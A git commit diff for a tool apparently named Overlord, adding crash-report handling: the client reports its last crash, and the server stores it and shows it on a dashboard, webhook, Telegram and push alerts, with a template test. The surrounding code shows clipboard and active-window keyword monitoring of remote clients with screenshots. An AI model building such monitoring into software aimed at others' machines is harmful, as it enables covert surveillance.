improve crash logs

This commit is contained in:
KingKDot
2026-06-30 14:35:27 -05:00
parent b5b50aa038
commit 01ecab779e
10 changed files with 136 additions and 10 deletions
+6 -1
View File
@@ -671,6 +671,7 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
hello.LastCrashReason = report.Reason hello.LastCrashReason = report.Reason
hello.LastCrashDetail = truncateStr(fmt.Sprintf("%s at %s", report.Detail, report.At), 1200) hello.LastCrashDetail = truncateStr(fmt.Sprintf("%s at %s", report.Detail, report.At), 1200)
} }
crashReportSent := hello.LastCrashReason != ""
if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil { if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {
return fmt.Errorf("send hello: %w", err) return fmt.Errorf("send hello: %w", err)
@@ -694,6 +695,10 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
switch ackType { switch ackType {
case "hello_ack": case "hello_ack":
log.Printf("[purgatory] approved, proceeding with session") log.Printf("[purgatory] approved, proceeding with session")
if crashReportSent {
clearPendingCrashReport()
crashReportSent = false
}
if err := handlers.HandleHelloAck(ackCtx, env, ackEnvelope); err != nil { if err := handlers.HandleHelloAck(ackCtx, env, ackEnvelope); err != nil {
log.Printf("[purgatory] hello_ack handler error: %v", err) log.Printf("[purgatory] hello_ack handler error: %v", err)
@@ -716,7 +721,7 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
cancel() cancel()
return fmt.Errorf("send initial ping: %w", err) return fmt.Errorf("send initial ping: %w", err)
} }
if hello.LastCrashReason != "" { if crashReportSent {
clearPendingCrashReport() clearPendingCrashReport()
} }
@@ -286,6 +286,10 @@ function sourceHtml(entry) {
`<span class="text-xs text-slate-400">${escapeHtml(entry.item.event)}</span>`; `<span class="text-xs text-slate-400">${escapeHtml(entry.item.event)}</span>`;
} }
const isClipboard = entry.item.category === "clipboard"; const isClipboard = entry.item.category === "clipboard";
const isCrash = entry.item.category === "crash_report";
if (isCrash) {
return `<span class="inline-flex items-center gap-1 px-2 py-0.5 rounded-full text-xs bg-red-900/60 text-red-300 border border-red-700/50"><i class="fa-solid fa-bug text-xs"></i> crash</span>`;
}
return isClipboard return isClipboard
? `<span class="inline-flex items-center gap-1 px-2 py-0.5 rounded-full text-xs bg-violet-900/60 text-violet-300 border border-violet-700/50"><i class="fa-solid fa-clipboard text-xs"></i> clipboard</span>` ? `<span class="inline-flex items-center gap-1 px-2 py-0.5 rounded-full text-xs bg-violet-900/60 text-violet-300 border border-violet-700/50"><i class="fa-solid fa-clipboard text-xs"></i> clipboard</span>`
: `<span class="inline-flex items-center gap-1 px-2 py-0.5 rounded-full text-xs bg-blue-900/60 text-blue-300 border border-blue-700/50"><i class="fa-solid fa-desktop text-xs"></i> window</span>`; : `<span class="inline-flex items-center gap-1 px-2 py-0.5 rounded-full text-xs bg-blue-900/60 text-blue-300 border border-blue-700/50"><i class="fa-solid fa-desktop text-xs"></i> window</span>`;
@@ -302,6 +306,7 @@ function entryToRow(entry) {
clientId: item.clientId || "", clientId: item.clientId || "",
user: item.user || "-", user: item.user || "-",
title: entry.kind === "event" ? "client event" : (item.title || "-"), title: entry.kind === "event" ? "client event" : (item.title || "-"),
detail: entry.kind === "event" ? "" : (item.detail || item.processPath || ""),
process: entry.kind === "event" ? (item.os || "-") : (item.process || "-"), process: entry.kind === "event" ? (item.os || "-") : (item.process || "-"),
keyword: entry.kind === "event" ? "-" : (item.keyword || "-"), keyword: entry.kind === "event" ? "-" : (item.keyword || "-"),
source: entry.kind === "event" ? (item.event || "") : (item.category || "window"), source: entry.kind === "event" ? (item.event || "") : (item.category || "window"),
@@ -319,6 +324,7 @@ function entryMatchesSearch(entry, query) {
item.title, item.title,
item.process, item.process,
item.processPath, item.processPath,
item.detail,
item.keyword, item.keyword,
entry.kind === "event" ? item.event : item.category, entry.kind === "event" ? item.event : item.category,
item.os, item.os,
@@ -1107,7 +1113,11 @@ function initNotificationTable() {
formatter: (cell) => { formatter: (cell) => {
const row = cell.getRow().getData(); const row = cell.getRow().getData();
const value = escapeHtml(cell.getValue() || "-"); const value = escapeHtml(cell.getValue() || "-");
const detail = escapeHtml(row.detail || "");
const tone = row.kind === "event" ? "italic text-slate-400" : "text-slate-100"; const tone = row.kind === "event" ? "italic text-slate-400" : "text-slate-100";
if (row.item?.category === "crash_report" && detail) {
return `<div class="space-y-1"><span class="${tone}" title="${value}">${value}</span><div class="max-w-xl truncate font-mono text-xs text-red-300/80" title="${detail}">${detail}</div></div>`;
}
return `<span class="${tone}" title="${value}">${value}</span>`; return `<span class="${tone}" title="${value}">${value}</span>`;
}, },
}, },
@@ -271,13 +271,16 @@ function showDesktopNotification(item) {
if (!("Notification" in window)) return; if (!("Notification" in window)) return;
if (Notification.permission !== "granted") return; if (Notification.permission !== "granted") return;
const title = item.keyword const title = item.category === "crash_report"
? "Overlord \u2014 Crash Report"
: item.keyword
? `Overlord \u2014 ${item.keyword}` ? `Overlord \u2014 ${item.keyword}`
: "Overlord \u2014 Notification"; : "Overlord \u2014 Notification";
const lines = [item.title]; const lines = [item.title];
if (item.user) lines.push(`User: ${item.user}`); if (item.user) lines.push(`User: ${item.user}`);
if (item.host) lines.push(`Host: ${item.host}`); if (item.host) lines.push(`Host: ${item.host}`);
if (item.process) lines.push(`Process: ${item.process}`); if (item.process) lines.push(`Process: ${item.process}`);
if (item.detail) lines.push(String(item.detail).slice(0, 300));
const body = lines.filter(Boolean).join("\n"); const body = lines.filter(Boolean).join("\n");
fireNotification(title, body, `overlord-${item.id || Date.now()}`, "/notifications"); fireNotification(title, body, `overlord-${item.id || Date.now()}`, "/notifications");
+5 -2
View File
@@ -2067,6 +2067,7 @@ export type NotificationRow = {
title: string; title: string;
process?: string; process?: string;
processPath?: string; processPath?: string;
detail?: string;
pid?: number; pid?: number;
keyword?: string; keyword?: string;
category: string; category: string;
@@ -2077,8 +2078,8 @@ export type NotificationRow = {
export function saveNotification(record: NotificationRow) { export function saveNotification(record: NotificationRow) {
db.run( db.run(
`INSERT OR REPLACE INTO notifications `INSERT OR REPLACE INTO notifications
(id, client_id, host, user, os, title, process, process_path, pid, keyword, category, ts, screenshot_id) (id, client_id, host, user, os, title, process, process_path, detail, pid, keyword, category, ts, screenshot_id)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`, VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
record.id, record.id,
record.clientId, record.clientId,
record.host ?? null, record.host ?? null,
@@ -2087,6 +2088,7 @@ export function saveNotification(record: NotificationRow) {
record.title, record.title,
record.process ?? null, record.process ?? null,
record.processPath ?? null, record.processPath ?? null,
record.detail ?? null,
record.pid ?? null, record.pid ?? null,
record.keyword ?? null, record.keyword ?? null,
record.category, record.category,
@@ -2116,6 +2118,7 @@ export function getNotificationHistory(limit: number = 500): NotificationRow[] {
title: row.title, title: row.title,
process: row.process ?? undefined, process: row.process ?? undefined,
processPath: row.process_path ?? undefined, processPath: row.process_path ?? undefined,
detail: row.detail ?? undefined,
pid: row.pid ?? undefined, pid: row.pid ?? undefined,
keyword: row.keyword ?? undefined, keyword: row.keyword ?? undefined,
category: row.category, category: row.category,
+4
View File
@@ -393,6 +393,7 @@ db.run(`
title TEXT NOT NULL, title TEXT NOT NULL,
process TEXT, process TEXT,
process_path TEXT, process_path TEXT,
detail TEXT,
pid INTEGER, pid INTEGER,
keyword TEXT, keyword TEXT,
category TEXT NOT NULL DEFAULT 'active_window', category TEXT NOT NULL DEFAULT 'active_window',
@@ -400,6 +401,9 @@ db.run(`
screenshot_id TEXT screenshot_id TEXT
); );
`); `);
try {
db.run(`ALTER TABLE notifications ADD COLUMN detail TEXT`);
} catch {}
db.run(`CREATE INDEX IF NOT EXISTS idx_notifications_ts ON notifications(ts DESC);`); db.run(`CREATE INDEX IF NOT EXISTS idx_notifications_ts ON notifications(ts DESC);`);
db.run(`CREATE INDEX IF NOT EXISTS idx_notifications_client_id ON notifications(client_id);`); db.run(`CREATE INDEX IF NOT EXISTS idx_notifications_client_id ON notifications(client_id);`);
+1
View File
@@ -694,6 +694,7 @@ async function startServer() {
notifyDashboard: sessionManager.notifyDashboardViewers, notifyDashboard: sessionManager.notifyDashboardViewers,
notifyDashboardClientEvent: sessionManager.notifyDashboardClientEvent, notifyDashboardClientEvent: sessionManager.notifyDashboardClientEvent,
broadcastClientEvent: notificationPluginHandlers.broadcastClientLifecycleEvent, broadcastClientEvent: notificationPluginHandlers.broadcastClientLifecycleEvent,
handleCrashReport: notificationPluginHandlers.handleCrashReport,
}; };
const server = Bun.serve<SocketData>({ const server = Bun.serve<SocketData>({
@@ -0,0 +1,26 @@
import { describe, expect, test } from "bun:test";
import { DEFAULT_TELEGRAM_TEMPLATE, DEFAULT_WEBHOOK_TEMPLATE, renderNotificationTemplate } from "./server/notification-delivery";
describe("notification delivery templates", () => {
test("crash report detail is available to default templates", () => {
const record = {
id: "notif-1",
clientId: "client-1",
host: "host-a",
user: "user-a",
os: "Windows",
title: "Client crash report: panic",
process: "crash report",
detail: "panic: nil pointer at session.go:123",
keyword: "crash",
category: "crash_report" as const,
ts: 123,
};
const webhook = JSON.parse(renderNotificationTemplate(DEFAULT_WEBHOOK_TEMPLATE, record, DEFAULT_WEBHOOK_TEMPLATE));
const telegram = renderNotificationTemplate(DEFAULT_TELEGRAM_TEMPLATE, record, DEFAULT_TELEGRAM_TEMPLATE);
expect(webhook.data.detail).toBe(record.detail);
expect(telegram).toContain(record.detail);
});
});
@@ -20,9 +20,10 @@ export type NotificationRecord = {
title: string; title: string;
process?: string; process?: string;
processPath?: string; processPath?: string;
detail?: string;
pid?: number; pid?: number;
keyword?: string; keyword?: string;
category: "active_window" | "clipboard"; category: "active_window" | "clipboard" | "crash_report";
ts: number; ts: number;
screenshotId?: string; screenshotId?: string;
}; };
@@ -50,10 +51,10 @@ export type UserDeliveryTarget = {
}; };
export const DEFAULT_WEBHOOK_TEMPLATE = export const DEFAULT_WEBHOOK_TEMPLATE =
`{"type":"notification","data":{"title":"{title}","keyword":"{keyword}","clientId":"{clientId}","user":"{user}","host":"{host}","process":"{process}","os":"{os}","pid":"{pid}","ts":"{ts}"}}`; `{"type":"notification","data":{"title":"{title}","keyword":"{keyword}","clientId":"{clientId}","user":"{user}","host":"{host}","process":"{process}","detail":"{detail}","os":"{os}","pid":"{pid}","ts":"{ts}"}}`;
export const DEFAULT_TELEGRAM_TEMPLATE = export const DEFAULT_TELEGRAM_TEMPLATE =
`\u{1F514} Notification\nTitle: {title}\nKeyword: {keyword}\nClient: {clientId}\nUser: {user}\nHost: {host}\nProcess: {process}`; `\u{1F514} Notification\nTitle: {title}\nKeyword: {keyword}\nClient: {clientId}\nUser: {user}\nHost: {host}\nProcess: {process}\nDetail: {detail}`;
const NOTIFICATION_SCREENSHOT_WAIT_MS = 5_000; const NOTIFICATION_SCREENSHOT_WAIT_MS = 5_000;
const NOTIFICATION_SCREENSHOT_POLL_MS = 250; const NOTIFICATION_SCREENSHOT_POLL_MS = 250;
@@ -93,6 +94,7 @@ export function renderNotificationTemplate(
.replace(/{user}/g, record.user ?? "") .replace(/{user}/g, record.user ?? "")
.replace(/{host}/g, record.host ?? "") .replace(/{host}/g, record.host ?? "")
.replace(/{process}/g, record.process ?? "") .replace(/{process}/g, record.process ?? "")
.replace(/{detail}/g, record.detail ?? "")
.replace(/{os}/g, record.os ?? "") .replace(/{os}/g, record.os ?? "")
.replace(/{pid}/g, String(record.pid ?? "")) .replace(/{pid}/g, String(record.pid ?? ""))
.replace(/{ts}/g, String(record.ts ?? "")); .replace(/{ts}/g, String(record.ts ?? ""));
@@ -324,13 +326,16 @@ async function deliverWebPushToAll(
const targets = getUserDeliveryTargets(record.clientId); const targets = getUserDeliveryTargets(record.clientId);
const allowedUserIds = new Set(targets.map((t) => t.userId)); const allowedUserIds = new Set(targets.map((t) => t.userId));
const title = record.keyword const title = record.category === "crash_report"
? "Overlord \u2014 Crash Report"
: record.keyword
? `Overlord \u2014 ${record.keyword}` ? `Overlord \u2014 ${record.keyword}`
: "Overlord \u2014 Notification"; : "Overlord \u2014 Notification";
const lines = [record.title]; const lines = [record.title];
if (record.user) lines.push(`User: ${record.user}`); if (record.user) lines.push(`User: ${record.user}`);
if (record.host) lines.push(`Host: ${record.host}`); if (record.host) lines.push(`Host: ${record.host}`);
if (record.process) lines.push(`Process: ${record.process}`); if (record.process) lines.push(`Process: ${record.process}`);
if (record.detail) lines.push(String(record.detail).slice(0, 300));
const payload = JSON.stringify({ const payload = JSON.stringify({
type: "notification", type: "notification",
@@ -270,6 +270,10 @@ type WsLifecycleDeps = {
event: "client_online" | "client_offline" | "client_purgatory", event: "client_online" | "client_offline" | "client_purgatory",
info: { id: string; host?: string; user?: string; os?: string; ip?: string; country?: string }, info: { id: string; host?: string; user?: string; os?: string; ip?: string; country?: string },
) => void; ) => void;
handleCrashReport: (
clientId: string,
crash: { reason: string; detail?: string; host?: string; user?: string; os?: string },
) => void;
}; };
const ENROLLMENT_TIMEOUT_MS = 30_000; const ENROLLMENT_TIMEOUT_MS = 30_000;
@@ -308,6 +312,12 @@ function computeKeyFingerprint(publicKeyBase64: string): string {
return hash; return hash;
} }
function sanitizeCrashString(value: unknown, maxLen: number): string | undefined {
if (typeof value !== "string") return undefined;
const clean = value.replace(/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/g, "").trim();
return clean ? clean.slice(0, maxLen) : undefined;
}
export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLifecycleDeps): void { export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLifecycleDeps): void {
const role = ws.data.role as string; const role = ws.data.role as string;
const clientId = ws.data.clientId; const clientId = ws.data.clientId;
@@ -650,6 +660,18 @@ export async function handleWebSocketMessage(
lastSeen: Date.now(), lastSeen: Date.now(),
}); });
await handleHello(infoObj, payload as Hello, ws, ip);
const lastCrashReason = sanitizeCrashString((payload as any).lastCrashReason, 64);
if (lastCrashReason) {
deps.handleCrashReport(resolvedId, {
reason: lastCrashReason,
detail: sanitizeCrashString((payload as any).lastCrashDetail, 1200),
host: infoObj.host,
user: infoObj.user,
os: infoObj.os,
});
}
const notificationConfig = deps.getNotificationConfig(); const notificationConfig = deps.getNotificationConfig();
try { try {
ws.send( ws.send(
@@ -667,7 +689,6 @@ export async function handleWebSocketMessage(
logger.warn(`[purgatory] failed to send hello_ack to ${resolvedId}: ${sendErr}`); logger.warn(`[purgatory] failed to send hello_ack to ${resolvedId}: ${sendErr}`);
} }
await handleHello(infoObj, payload as Hello, ws, ip);
scheduleQueuedClientDbFlush(); scheduleQueuedClientDbFlush();
clientManager.addClient(infoObj.id, infoObj); clientManager.addClient(infoObj.id, infoObj);
@@ -19,9 +19,10 @@ type NotificationRecord = {
title: string; title: string;
process?: string; process?: string;
processPath?: string; processPath?: string;
detail?: string;
pid?: number; pid?: number;
keyword?: string; keyword?: string;
category: "active_window" | "clipboard"; category: "active_window" | "clipboard" | "crash_report";
ts: number; ts: number;
screenshotId?: string; screenshotId?: string;
}; };
@@ -371,6 +372,53 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
); );
}, },
handleCrashReport(
clientId: string,
crash: { reason: string; detail?: string; host?: string; user?: string; os?: string },
) {
const reason = String(crash.reason || "").trim();
if (!reason) return;
const info = clientManager.getClient(clientId);
const detail = String(crash.detail || "").trim();
const record: NotificationRecord = {
id: uuidv4(),
clientId,
host: crash.host || info?.host,
user: crash.user || info?.user,
os: crash.os || info?.os,
title: `Client crash report: ${reason}`,
process: "crash report",
processPath: detail,
detail,
keyword: "crash",
category: "crash_report",
ts: Date.now(),
};
logger.warn(`[notify] crash report client=${clientId} reason=${reason}`);
saveNotification(record);
if (deps.isClientNotificationsMuted(clientId)) {
return;
}
for (const session of sessionManager.getAllNotificationSessions().values()) {
const sRole = session.userRole ?? session.viewer.data.userRole ?? "";
const sUserId = session.userId ?? session.viewer.data.userId;
if (sRole !== "admin") {
if (sUserId === undefined || !deps.canUserAccessClient(sUserId, sRole, clientId)) {
continue;
}
}
safeSendViewer(session.viewer, { type: "notification", item: record });
}
deps.deliverNotificationWithScreenshot(record).catch((err) =>
logger.warn("[notify] crash report delivery failed", err),
);
},
handleNotificationScreenshotFailure(commandId?: string, ok?: boolean, message?: string) { handleNotificationScreenshotFailure(commandId?: string, ok?: boolean, message?: string) {
if (!commandId) return; if (!commandId) return;
if (ok === true) return; if (ok === true) return;